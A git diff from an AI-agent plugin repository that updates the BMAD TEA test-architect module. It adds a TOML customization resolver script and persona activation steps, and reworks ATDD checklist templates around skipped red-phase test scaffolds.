 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/adr-quality-readiness-checklist.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/api-request.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/api-testing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/auth-session.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/ci-burn-in.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/component-tdd.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/contract-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/data-factories.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/email-auth.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/error-handling.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/feature-flags.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/file-utils.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/fixture-architecture.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/fixtures-composition.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/intercept-network-call.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/log.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/network-error-monitor.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/network-first.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/network-recorder.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/nfr-criteria.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pact-consumer-di.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pact-consumer-framework-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pact-mcp.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-consumer-helpers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-overview.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-provider-verifier.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/pactjs-utils-request-filter.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/playwright-cli.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/playwright-config.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/probability-impact.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/recurse.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/risk-governance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/selective-testing.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/selector-resilience.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-healing-patterns.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-levels-framework.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-priorities-matrix.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-quality.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/timing-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/visual-debugging.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-module-setup.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-providers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-risk-guidance.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-template-matchers.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-testing-fundamentals.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-timeout-error.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-waiting-querying.md
 create mode 100644 plugins/bmad/skills/bmad-testarch-trace/resources/tea-index.csv
 create mode 100755 plugins/bmad/skills/bmad-testarch-trace/scripts/resolve-customization.py

diff --git a/.github/badges/upstream-version-tea.json b/.github/badges/upstream-version-tea.json
index 6d49a34..9c6e69b 100644
--- a/.github/badges/upstream-version-tea.json
+++ b/.github/badges/upstream-version-tea.json
@@ -1,6 +1,6 @@
 {
   "schemaVersion": 1,
   "label": "TEA Module",
-  "message": "v1.7.3",
+  "message": "v1.12.2",
   "color": "green"
 }
diff --git a/.plugin-version b/.plugin-version
index 65bec64..7482ce3 100644
--- a/.plugin-version
+++ b/.plugin-version
@@ -1 +1 @@
-v6.3.0.0
+v6.3.0.1
diff --git a/.upstream-versions/tea.json b/.upstream-versions/tea.json
index 5ab3188..8366ca2 100644
--- a/.upstream-versions/tea.json
+++ b/.upstream-versions/tea.json
@@ -1,4 +1,4 @@
 {
-  "version": "v1.7.3",
-  "syncedAt": "2026-03-30"
+  "version": "v1.12.2",
+  "syncedAt": "2026-04-19"
 }
diff --git a/README.md b/README.md
index 2eae5a7..0df55af 100644
--- a/README.md
+++ b/README.md
@@ -13,12 +13,12 @@
 <!-- upstream-badges-end -->
 
 <!-- upstream-version-start -->
-**Plugin version:** v6.3.0.0
+**Plugin version:** v6.3.0.1
 
 | Module | Version | Released | Last Checked |
 |---|---|---|---|
 | [BMAD Method](https://github.com/bmadcode/BMAD-METHOD) | v6.3.0 | 2026-04-10 | 2026-04-19 |
-| [TEA](https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise) | v1.7.3 | 2026-03-27 | 2026-03-30 |
+| [TEA](https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise) | v1.12.2 | 2026-04-17 | 2026-04-19 |
 | [BMB](https://github.com/bmad-code-org/bmad-builder) | v1.4.0 | 2026-03-29 | 2026-03-30 |
 | [CIS](https://github.com/bmad-code-org/bmad-module-creative-intelligence-suite) | v0.1.9 | 2026-03-18 | 2026-03-30 |
 | [GDS](https://github.com/bmad-code-org/bmad-module-game-dev-studio) | v0.2.2 | 2026-03-16 | 2026-03-30 |
diff --git a/package.json b/package.json
index c0a389d..1c88e1c 100644
--- a/package.json
+++ b/package.json
@@ -1,6 +1,6 @@
 {
   "name": "bmad-plugin",
-  "version": "6.3.0.0",
+  "version": "6.3.0.1",
   "type": "module",
   "scripts": {
     "prepare": "husky",
diff --git a/plugins/bmad/.claude-plugin/plugin.json b/plugins/bmad/.claude-plugin/plugin.json
index 27519e3..1ca1cc7 100644
--- a/plugins/bmad/.claude-plugin/plugin.json
+++ b/plugins/bmad/.claude-plugin/plugin.json
@@ -1,6 +1,6 @@
 {
   "name": "bmad",
-  "version": "6.3.0.0",
+  "version": "6.3.0.1",
   "description": "BMAD Method - Breakthrough Method for Agile AI-Driven Development",
   "author": {
     "name": "PabloLION",
diff --git a/plugins/bmad/agents/bmad-tea.md b/plugins/bmad/agents/bmad-tea.md
index ec065be..64d46d0 100644
--- a/plugins/bmad/agents/bmad-tea.md
+++ b/plugins/bmad/agents/bmad-tea.md
@@ -3,42 +3,47 @@ name: bmad-tea
 description: Master Test Architect and Quality Advisor. Use when the user asks to talk to Murat or requests the Test Architect.
 ---
 
-# Murat
-
-## Overview
+## On Activation
 
-This skill provides a Master Test Architect and Quality Advisor specializing in risk-based testing, fixture architecture, ATDD, API testing, backend services, UI automation, CI/CD governance, and scalable quality gates. Act as Murat — data-driven, strong opinions weakly held, speaking in risk calculations and impact assessments.
+### Available Scripts
 
-## Identity
+- **`scripts/resolve-customization.py`** -- Resolves customization from three-layer TOML merge (user > team > defaults). Outputs JSON.
 
-Test architect specializing in risk-based testing, fixture architecture, ATDD, API testing, backend services, UI automation, CI/CD governance, and scalable quality gates. Equally proficient in pure API/service-layer testing (pytest, JUnit, Go test, xUnit, RSpec) as in browser-based E2E testing (Playwright, Cypress), consumer driven contract testing (Pact) and performance/load/chaos testing (k6). Supports GitHub Actions, GitLab CI, Jenkins, Azure DevOps, and Harness CI platforms.
+### Step 1: Resolve Activation Customization
 
-## Communication Style
+Resolve `persona`, `inject`, `additional_resources`, and `menu` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-tea --key persona --key inject --key additional_resources --key menu`
+Use the JSON output as resolved values.
 
-Blends data with gut instinct. "Strong opinions, weakly held" is their mantra. Speaks in risk calculations and impact assessments.
+### Step 2: Apply Customization
 
-## Principles
+1. **Adopt persona** -- You are `{persona.displayName}`, `{persona.title}`.
+   Embody `{persona.identity}`, speak in the style of
+   `{persona.communicationStyle}`, and follow `{persona.principles}`.
+2. **Inject before** -- If `inject.before` is not empty, read and
+   incorporate its content as high-priority context.
+3. **Load resources** -- If `additional_resources` is not empty, read
+   each listed file and incorporate as reference context.
 
-- Risk-based testing - depth scales with impact
-- Quality gates backed by data
-- Tests mirror usage patterns (API, UI, or both)
-- Flakiness is critical technical debt
-- Tests first AI implements suite validates
-- Calculate risk vs value for every testing decision
-- Prefer lower test levels (unit > integration > E2E) when possible
-- API tests are first-class citizens, not just UI support
+You must fully embody this persona so the user gets the best experience and help they need. Do not break character until the user dismisses this persona. When the user calls a skill, this persona must carry through and remain active.
 
 ## Critical Actions
 
-- Consult `{project-root}/_bmad/tea/agents/bmad-tea/resources/tea-index.csv` to select knowledge fragments under `knowledge/` and load only the files needed for the current task
-- Load the referenced fragment(s) from `{project-root}/_bmad/tea/agents/bmad-tea/resources/knowledge/` before giving recommendations
+- Consult `./resources/tea-index.csv` to select knowledge fragments under `resources/knowledge/` and load only the files needed for the current task
+- Load the referenced fragment(s) from `./resources/knowledge/` before giving recommendations
 - Cross-check recommendations with the current official Playwright, Cypress, Pact, k6, pytest, JUnit, Go test, and CI platform documentation
 
-You must fully embody this persona so the user gets the best experience and help they need, therefore its important to remember you must not break character until the users dismisses this persona.
+### Step 3: Load Config, Greet, and Present Capabilities
 
-When you are in this persona and the user calls a skill, this persona must carry through and remain active.
+1. Load config from `{project-root}/_bmad/tea/config.yaml` and resolve:
+   - Use `{user_name}` for greeting
+   - Use `{communication_language}` for all communications
+   - Use `{document_output_language}` for output documents
+2. **Load project context** -- Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
+3. Greet `{user_name}` warmly by name as `{persona.displayName}`, speaking in `{communication_language}`. Remind the user they can invoke the `bmad-help` skill at any time for advice.
+4. **Build and present the capabilities menu.** Start with the base table below. If resolved `menu` items exist, merge them: matching codes replace the base item; new codes add to the table. Present the final menu.
 
-## Capabilities
+#### Capabilities
 
 | Code | Description                                                                                                                        | Skill                     |
 | ---- | ---------------------------------------------------------------------------------------------------------------------------------- | ------------------------- |
@@ -47,24 +52,11 @@ When you are in this persona and the user calls a skill, this persona must carry
 | AT   | ATDD: Generate failing acceptance tests plus an implementation checklist before development                                        | bmad-testarch-atdd        |
 | TA   | Test Automation: Generate prioritized API/E2E tests, fixtures, and DoD summary for a story or feature                              | bmad-testarch-automate    |
 | TD   | Test Design: Risk assessment plus coverage strategy for system or epic scope                                                       | bmad-testarch-test-design |
-| TR   | Trace Requirements: Map requirements to tests (Phase 1) and make quality gate decision (Phase 2)                                   | bmad-testarch-trace       |
+| TR   | Trace Coverage: Map requirements, specs, or inferred journeys to tests (Phase 1) and make quality gate decision (Phase 2)          | bmad-testarch-trace       |
 | NR   | Non-Functional Requirements: Assess NFRs and recommend actions                                                                     | bmad-testarch-nfr         |
 | CI   | Continuous Integration: Recommend and Scaffold CI/CD quality pipeline                                                              | bmad-testarch-ci          |
 | RV   | Review Tests: Perform a quality check against written tests using comprehensive knowledge base and best practices                  | bmad-testarch-test-review |
 
-## On Activation
-
-1. **Load config via bmad-init skill** — Store all returned vars for use:
-   - Use `{user_name}` from config for greeting
-   - Use `{communication_language}` from config for all communications
-   - Store any other config variables as `{var-name}` and use appropriately
-
-2. **Continue with steps below:**
-   - **Load project context** — Search for `**/project-context.md`. If found, load as foundational reference for project standards and conventions. If not found, continue without it.
-   - **Greet and present capabilities** — Greet `{user_name}` warmly by name, always speaking in `{communication_language}` and applying your persona throughout the session.
-
-3. Remind the user they can invoke the `bmad-help` skill at any time for advice and then present the capabilities table from the Capabilities section above.
-
-   **STOP and WAIT for user input** — Do NOT execute menu items automatically. Accept a capability code, skill name, or fuzzy description match from the Capabilities table.
+**STOP and WAIT for user input** -- Do NOT execute menu items automatically. Accept a capability code, skill name, or fuzzy description match from the Capabilities table.
 
 **CRITICAL Handling:** When user responds with a capability code (e.g., TMT, TF, AT), an exact registered skill name, or a fuzzy description match (e.g., "teach me testing", "continuous integration", "test framework"), invoke the corresponding skill from the Capabilities table. DO NOT invent capabilities on the fly or attempt to map arbitrary numeric inputs to skills.
diff --git a/plugins/bmad/skills/bmad-teach-me-testing/SKILL.md b/plugins/bmad/skills/bmad-teach-me-testing/SKILL.md
index 720f130..796de61 100644
--- a/plugins/bmad/skills/bmad-teach-me-testing/SKILL.md
+++ b/plugins/bmad/skills/bmad-teach-me-testing/SKILL.md
@@ -3,4 +3,24 @@ name: bmad-teach-me-testing
 description: 'Teach testing progressively through structured sessions. Use when user says "lets learn testing" or "I want to study test practices"'
 ---
 
+## Available Scripts
+
+- **`scripts/resolve-customization.py`** -- Resolves customization from three-layer TOML merge (user > team > defaults). Outputs JSON.
+
+## Resolve Customization
+
+Resolve `inject` and `additional_resources` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-teach-me-testing --key inject --key additional_resources`
+Use the JSON output as resolved values.
+
+1. **Inject before** -- If `inject.before` resolved to a non-empty value, prepend it to your active instructions and follow it.
+2. **Available resources** -- Note the `additional_resources` list. Do not read these files now; they are available for the injected prompt or workflow steps to reference when needed.
+
 Follow the instructions in [workflow.md](workflow.md).
+
+## Post-Workflow Customization
+
+After the workflow completes, resolve `inject.after` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-teach-me-testing --key inject.after`
+
+If resolved `inject.after` is not empty, append it to your active instructions and follow it.
diff --git a/plugins/bmad/skills/bmad-teach-me-testing/customize.toml b/plugins/bmad/skills/bmad-teach-me-testing/customize.toml
new file mode 100644
index 0000000..1d79716
--- /dev/null
+++ b/plugins/bmad/skills/bmad-teach-me-testing/customize.toml
@@ -0,0 +1,27 @@
+# ──────────────────────────────────────────────────────────────────
+# Customization Defaults: bmad-teach-me-testing
+# This file defines all customizable fields for this skill.
+# DO NOT EDIT THIS FILE -- it is overwritten on every update.
+#
+# HOW TO CUSTOMIZE:
+# 1. Create an override file with only the fields you want to change:
+#      _bmad/customizations/bmad-teach-me-testing.toml       (team/org, committed to git)
+#      _bmad/customizations/bmad-teach-me-testing.user.toml   (personal, gitignored)
+# 2. Copy just the fields you want to override into your file.
+#    Unmentioned fields inherit from this defaults file.
+# 3. For array fields (like additional_resources), include the
+#    complete array you want -- arrays replace, not append.
+# ──────────────────────────────────────────────────────────────────
+
+# Additional resource files loaded into workflow context on activation.
+# Paths are relative to {project-root}.
+additional_resources = []
+
+# ──────────────────────────────────────────────────────────────────
+# Injected prompts - content woven into the workflow's context.
+# 'before' loads before the workflow begins.
+# 'after' loads after the workflow completes (pre-finalize).
+# ──────────────────────────────────────────────────────────────────
+[inject]
+before = ""
+after = ""
diff --git a/plugins/bmad/skills/bmad-teach-me-testing/scripts/resolve-customization.py b/plugins/bmad/skills/bmad-teach-me-testing/scripts/resolve-customization.py
new file mode 100755
index 0000000..d9994a5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-teach-me-testing/scripts/resolve-customization.py
@@ -0,0 +1,183 @@
+#!/usr/bin/env python3
+# /// script
+# requires-python = ">=3.11"
+# ///
+"""Resolve customization for a BMad skill using three-layer TOML merge.
+
+Reads customization from three layers (highest priority first):
+  1. {project-root}/_bmad/customizations/{name}.user.toml  (personal, gitignored)
+  2. {project-root}/_bmad/customizations/{name}.toml        (team/org, committed)
+  3. ./customize.toml                                       (skill defaults)
+
+Outputs merged JSON to stdout. Errors go to stderr.
+
+Usage:
+  python ./scripts/resolve-customization.py {skill-name}
+  python ./scripts/resolve-customization.py {skill-name} --key persona
+  python ./scripts/resolve-customization.py {skill-name} --key persona.displayName --key inject
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+import tomllib
+from pathlib import Path
+from typing import Any
+
+
+def find_project_root(start: Path) -> Path | None:
+    """Walk up from *start* looking for a directory containing ``_bmad/`` or ``.git``."""
+    current = start.resolve()
+    while True:
+        if (current / "_bmad").is_dir() or (current / ".git").exists():
+            return current
+        parent = current.parent
+        if parent == current:
+            return None
+        current = parent
+
+
+def load_toml(path: Path) -> dict[str, Any]:
+    """Return parsed TOML or empty dict if the file doesn't exist."""
+    if not path.is_file():
+        return {}
+    try:
+        with open(path, "rb") as f:
+            return tomllib.load(f)
+    except (tomllib.TOMLDecodeError, OSError) as exc:
+        print(f"warning: failed to parse {path}: {exc}", file=sys.stderr)
+        return {}
+
+
+# ---------------------------------------------------------------------------
+# Merge helpers
+# ---------------------------------------------------------------------------
+
+def _is_menu_array(value: Any) -> bool:
+    """True when *value* is a non-empty list where ALL items are dicts with a ``code`` key."""
+    return (
+        isinstance(value, list)
+        and len(value) > 0
+        and all(isinstance(item, dict) and "code" in item for item in value)
+    )
+
+
+def merge_menu(base: list[dict], override: list[dict]) -> list[dict]:
+    """Merge-by-code: matching codes replace; new codes append."""
+    result_by_code: dict[str, dict] = {item["code"]: dict(item) for item in base if "code" in item}
+    for item in override:
+        if "code" not in item:
+            print(f"warning: menu item missing 'code' key, skipping: {item}", file=sys.stderr)
+            continue
+        result_by_code[item["code"]] = dict(item)
+    return list(result_by_code.values())
+
+
+def deep_merge(base: dict[str, Any], override: dict[str, Any]) -> dict[str, Any]:
+    """Recursively merge *override* into *base*.
+
+    Rules:
+      - Tables (dicts): sparse override -- recurse, unmentioned keys kept.
+      - ``[[menu]]`` arrays (items with ``code`` key): merge-by-code.
+      - All other arrays: atomic replace.
+      - Scalars: override wins.
+    """
+    merged = dict(base)
+    for key, over_val in override.items():
+        base_val = merged.get(key)
+
+        if isinstance(over_val, dict) and isinstance(base_val, dict):
+            merged[key] = deep_merge(base_val, over_val)
+        elif _is_menu_array(over_val) and _is_menu_array(base_val):
+            merged[key] = merge_menu(base_val, over_val)  # type: ignore[arg-type]
+        else:
+            merged[key] = over_val
+
+    return merged
+
+
+# ---------------------------------------------------------------------------
+# Key extraction
+# ---------------------------------------------------------------------------
+
+def extract_key(data: dict[str, Any], dotted_key: str) -> Any:
+    """Retrieve a value by dotted path (e.g. ``persona.displayName``)."""
+    parts = dotted_key.split(".")
+    current: Any = data
+    for part in parts:
+        if isinstance(current, dict) and part in current:
+            current = current[part]
+        else:
+            return None
+    return current
+
+
+# ---------------------------------------------------------------------------
+# Main
+# ---------------------------------------------------------------------------
+
+def main() -> None:
+    parser = argparse.ArgumentParser(
+        description="Resolve BMad skill customization (three-layer TOML merge).",
+        epilog=(
+            "Resolution priority: user.toml > team.toml > skill defaults.\n"
+            "Output is JSON. Use --key to request specific fields (JIT resolution)."
+        ),
+    )
+    parser.add_argument(
+        "skill_name",
+        help="Skill identifier (e.g. bmad-agent-pm, bmad-product-brief)",
+    )
+    parser.add_argument(
+        "--key",
+        action="append",
+        dest="keys",
+        metavar="FIELD",
+        help="Dotted field path to resolve (repeatable). Omit for full dump.",
+    )
+    args = parser.parse_args()
+
+    # Locate the skill's own customize.toml (one level up from scripts/)
+    script_dir = Path(__file__).resolve().parent
+    skill_dir = script_dir.parent
+    defaults_path = skill_dir / "customize.toml"
+
+    # Locate project root for override files
+    project_root = find_project_root(Path.cwd())
+    if project_root is None:
+        # Try from the skill directory as fallback
+        project_root = find_project_root(skill_dir)
+
+    # Load three layers (lowest priority first, then merge upward)
+    defaults = load_toml(defaults_path)
+
+    team: dict[str, Any] = {}
+    user: dict[str, Any] = {}
+    if project_root is not None:
+        customizations_dir = project_root / "_bmad" / "customizations"
+        team = load_toml(customizations_dir / f"{args.skill_name}.toml")
+        user = load_toml(customizations_dir / f"{args.skill_name}.user.toml")
+
+    # Merge: defaults <- team <- user
+    merged = deep_merge(defaults, team)
+    merged = deep_merge(merged, user)
+
+    # Output
+    if args.keys:
+        result = {}
+        for key in args.keys:
+            value = extract_key(merged, key)
+            if value is not None:
+                result[key] = value
+        json.dump(result, sys.stdout, indent=2, ensure_ascii=False)
+    else:
+        json.dump(merged, sys.stdout, indent=2, ensure_ascii=False)
+
+    # Ensure trailing newline for clean terminal output
+    print()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/SKILL.md b/plugins/bmad/skills/bmad-testarch-atdd/SKILL.md
index a280777..ed4d673 100644
--- a/plugins/bmad/skills/bmad-testarch-atdd/SKILL.md
+++ b/plugins/bmad/skills/bmad-testarch-atdd/SKILL.md
@@ -1,6 +1,26 @@
 ---
 name: bmad-testarch-atdd
-description: 'Generate failing acceptance tests using TDD cycle. Use when the user says "lets write acceptance tests" or "I want to do ATDD"'
+description: 'Generate red-phase acceptance test scaffolds using the TDD cycle. Use when the user says "lets write acceptance tests" or "I want to do ATDD"'
 ---
 
+## Available Scripts
+
+- **`scripts/resolve-customization.py`** -- Resolves customization from three-layer TOML merge (user > team > defaults). Outputs JSON.
+
+## Resolve Customization
+
+Resolve `inject` and `additional_resources` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-atdd --key inject --key additional_resources`
+Use the JSON output as resolved values.
+
+1. **Inject before** -- If `inject.before` resolved to a non-empty value, prepend it to your active instructions and follow it.
+2. **Available resources** -- Note the `additional_resources` list. Do not read these files now; they are available for the injected prompt or workflow steps to reference when needed.
+
 Follow the instructions in [workflow.md](workflow.md).
+
+## Post-Workflow Customization
+
+After the workflow completes, resolve `inject.after` from customization:
+Run: `python3 scripts/resolve-customization.py bmad-testarch-atdd --key inject.after`
+
+If resolved `inject.after` is not empty, append it to your active instructions and follow it.
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/atdd-checklist-template.md b/plugins/bmad/skills/bmad-testarch-atdd/atdd-checklist-template.md
index f9fee73..ed93b1f 100644
--- a/plugins/bmad/skills/bmad-testarch-atdd/atdd-checklist-template.md
+++ b/plugins/bmad/skills/bmad-testarch-atdd/atdd-checklist-template.md
@@ -3,6 +3,14 @@ stepsCompleted: []
 lastStep: ''
 lastSaved: ''
 workflowType: 'testarch-atdd'
+storyId: '{story_id}'
+storyKey: '{story_key}'
+storyFile: '{story_file}'
+atddChecklistPath: '{test_artifacts}/atdd-checklist-{story_key}.md'
+generatedTestFiles:
+  - '{api_test_file_path}'
+  - '{e2e_test_file_path}'
+  - '{component_test_file_path}'
 inputDocuments: []
 ---
 
@@ -34,7 +42,19 @@ inputDocuments: []
 
 ---
 
-## Failing Tests Created (RED Phase)
+## Story Integration Metadata
+
+- **Story ID:** `{story_id}`
+- **Story Key:** `{story_key}`
+- **Story File:** `{story_file}`
+- **Checklist Path:** `{test_artifacts}/atdd-checklist-{story_key}.md`
+- **Generated Test Files:** `{e2e_test_file_path}`, `{api_test_file_path}`, `{component_test_file_path}`
+
+If this story came from BMM `create-story`, mirror these artifact paths into the story's `Dev Notes` so `dev-story` can discover and activate the red-phase scaffolds.
+
+---
+
+## Red-Phase Test Scaffolds Created
 
 ### E2E Tests ({e2e_test_count} tests)
 
@@ -166,7 +186,7 @@ test('should do something', async ({ {fixtureName} }) => {
 
 ## Implementation Checklist
 
-{Map each failing test to concrete implementation tasks that will make it pass}
+{Map each scaffolded test to concrete implementation tasks that will make it pass}
 
 ### Test: {test_name_1}
 
@@ -205,7 +225,7 @@ test('should do something', async ({ {fixtureName} }) => {
 ## Running Tests
 
 ```bash
-# Run all failing tests for this story
+# Run all activated tests for this story
 {test_command_all}
 
 # Run specific test file
@@ -229,7 +249,7 @@ test('should do something', async ({ {fixtureName} }) => {
 
 **TEA Agent Responsibilities:**
 
-- ✅ All tests written and failing
+- ✅ All tests written as red-phase scaffolds with `test.skip()`
 - ✅ Fixtures and factories created with auto-cleanup
 - ✅ Mock requirements documented
 - ✅ data-testid requirements listed
@@ -237,9 +257,9 @@ test('should do something', async ({ {fixtureName} }) => {
 
 **Verification:**
 
-- All tests run and fail as expected
-- Failure messages are clear and actionable
-- Tests fail due to missing implementation, not test bugs
+- All generated tests are present and marked with `test.skip()`
+- Activation guidance is clear and actionable
+- Any activated test fails due to missing implementation, not test bugs
 
 ---
 
@@ -247,12 +267,13 @@ test('should do something', async ({ {fixtureName} }) => {
 
 **DEV Agent Responsibilities:**
 
-1. **Pick one failing test** from implementation checklist (start with highest priority)
-2. **Read the test** to understand expected behavior
-3. **Implement minimal code** to make that specific test pass
-4. **Run the test** to verify it now passes (green)
-5. **Check off the task** in implementation checklist
-6. **Move to next test** and repeat
+1. **Pick one scaffolded test** from implementation checklist (start with highest priority)
+2. **Remove `test.skip()`** for that test and confirm it fails first
+3. **Read the test** to understand expected behavior
+4. **Implement minimal code** to make that specific test pass
+5. **Run the test** to verify it now passes (green)
+6. **Check off the task** in implementation checklist
+7. **Move to next test** and repeat
 
 **Key Principles:**
 
@@ -297,14 +318,15 @@ test('should do something', async ({ {fixtureName} }) => {
 
 ## Next Steps
 
-1. **Share this checklist and failing tests** with the dev workflow (manual handoff)
-2. **Review this checklist** with team in standup or planning
-3. **Run failing tests** to confirm RED phase: `{test_command_all}`
+1. **Link this checklist and generated tests** into the story file `Dev Notes` / `ATDD Artifacts` section when a writable story file is available
+2. **If the story file cannot be updated automatically**, share this checklist and generated tests with the dev workflow as a manual handoff
+3. **Review this checklist** with team in standup or planning
 4. **Begin implementation** using implementation checklist as guide
-5. **Work one test at a time** (red → green for each)
-6. **Share progress** in daily standup
-7. **When all tests pass**, refactor code for quality
-8. **When refactoring complete**, manually update story status to 'done' in sprint-status.yaml
+5. **Activate one scaffold at a time** by removing `test.skip()` for the current task, then confirm it fails before implementing
+6. **Work one activated test at a time** (red → green for each)
+7. **Share progress** in daily standup
+8. **When all activated tests pass**, refactor code for quality
+9. **When refactoring complete**, manually update story status to 'done' in sprint-status.yaml
 
 ---
 
@@ -325,25 +347,26 @@ See `tea-index.csv` for complete knowledge fragment mapping.
 
 ## Test Execution Evidence
 
-### Initial Test Run (RED Phase Verification)
+### Initial Scaffold Review / RED Verification
 
-**Command:** `{test_command_all}`
+**Command:** `{test_command_all}` (or a narrower command after removing `test.skip()` for the current task)
 
 **Results:**
 
 ```
-{paste_test_run_output_showing_all_tests_failing}
+{paste_test_run_output_showing_scaffolds_skipped_or_activated_tests_failing}
 ```
 
 **Summary:**
 
 - Total tests: {total_test_count}
-- Passing: 0 (expected)
-- Failing: {total_test_count} (expected)
-- Status: ✅ RED phase verified
+- Skipped: {total_test_count} (expected before activation)
+- Activated RED tests: {activated_test_count} (expected after activation, before implementation)
+- Passing: 0 before implementation (expected for activated tests)
+- Status: ✅ Red-phase scaffolds verified
 
 **Expected Failure Messages:**
-{list_expected_failure_messages_for_each_test}
+{list_expected_skip_or_failure_states_for_each_test}
 
 ---
 
@@ -364,7 +387,7 @@ See `tea-index.csv` for complete knowledge fragment mapping.
 - Ask in team standup
 - Tag @{tea_agent_username} in Slack/Discord
 - Refer to `./bmm/docs/tea-README.md` for workflow documentation
-- Consult `_bmad/tea/agents/bmad-tea/resources/knowledge` for testing best practices
+- Consult `./resources/knowledge` for testing best practices
 
 ---
 
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/checklist.md b/plugins/bmad/skills/bmad-testarch-atdd/checklist.md
index 4e0eccd..5113f29 100644
--- a/plugins/bmad/skills/bmad-testarch-atdd/checklist.md
+++ b/plugins/bmad/skills/bmad-testarch-atdd/checklist.md
@@ -50,7 +50,7 @@ Before starting this workflow, verify:
 
 ---
 
-## Step 3: Failing Tests Generated
+## Step 3: Red-Phase Test Scaffolds Generated
 
 ### Test File Structure Created
 
@@ -68,8 +68,8 @@ Before starting this workflow, verify:
 - [ ] One assertion per test (atomic test design)
 - [ ] No hard waits or sleeps (explicit waits only)
 - [ ] Network-first pattern applied (route interception BEFORE navigation)
-- [ ] Tests fail initially (RED phase verified by local test run)
-- [ ] Failure messages are clear and actionable
+- [ ] Tests are generated as `test.skip()` scaffolds
+- [ ] Activation guidance is documented for the current task
 
 ### API Tests (If Applicable)
 
@@ -79,7 +79,7 @@ Before starting this workflow, verify:
 - [ ] HTTP status codes verified
 - [ ] Response body validation includes all required fields
 - [ ] Error cases tested (400, 401, 403, 404, 500)
-- [ ] Tests fail initially (RED phase verified)
+- [ ] Tests are generated as `test.skip()` scaffolds
 
 ### Component Tests (If Applicable)
 
@@ -89,7 +89,7 @@ Before starting this workflow, verify:
 - [ ] Interaction testing covers user actions (click, hover, keyboard)
 - [ ] State management within component validated
 - [ ] Props and events tested
-- [ ] Tests fail initially (RED phase verified)
+- [ ] Tests are generated as `test.skip()` scaffolds
 
 ### Test Quality Validation
 
@@ -144,7 +144,7 @@ Before starting this workflow, verify:
 ## Step 5: Implementation Checklist Created
 
 - [ ] Implementation checklist created with clear structure
-- [ ] Each failing test mapped to concrete implementation tasks
+- [ ] Each scaffolded test mapped to concrete implementation tasks
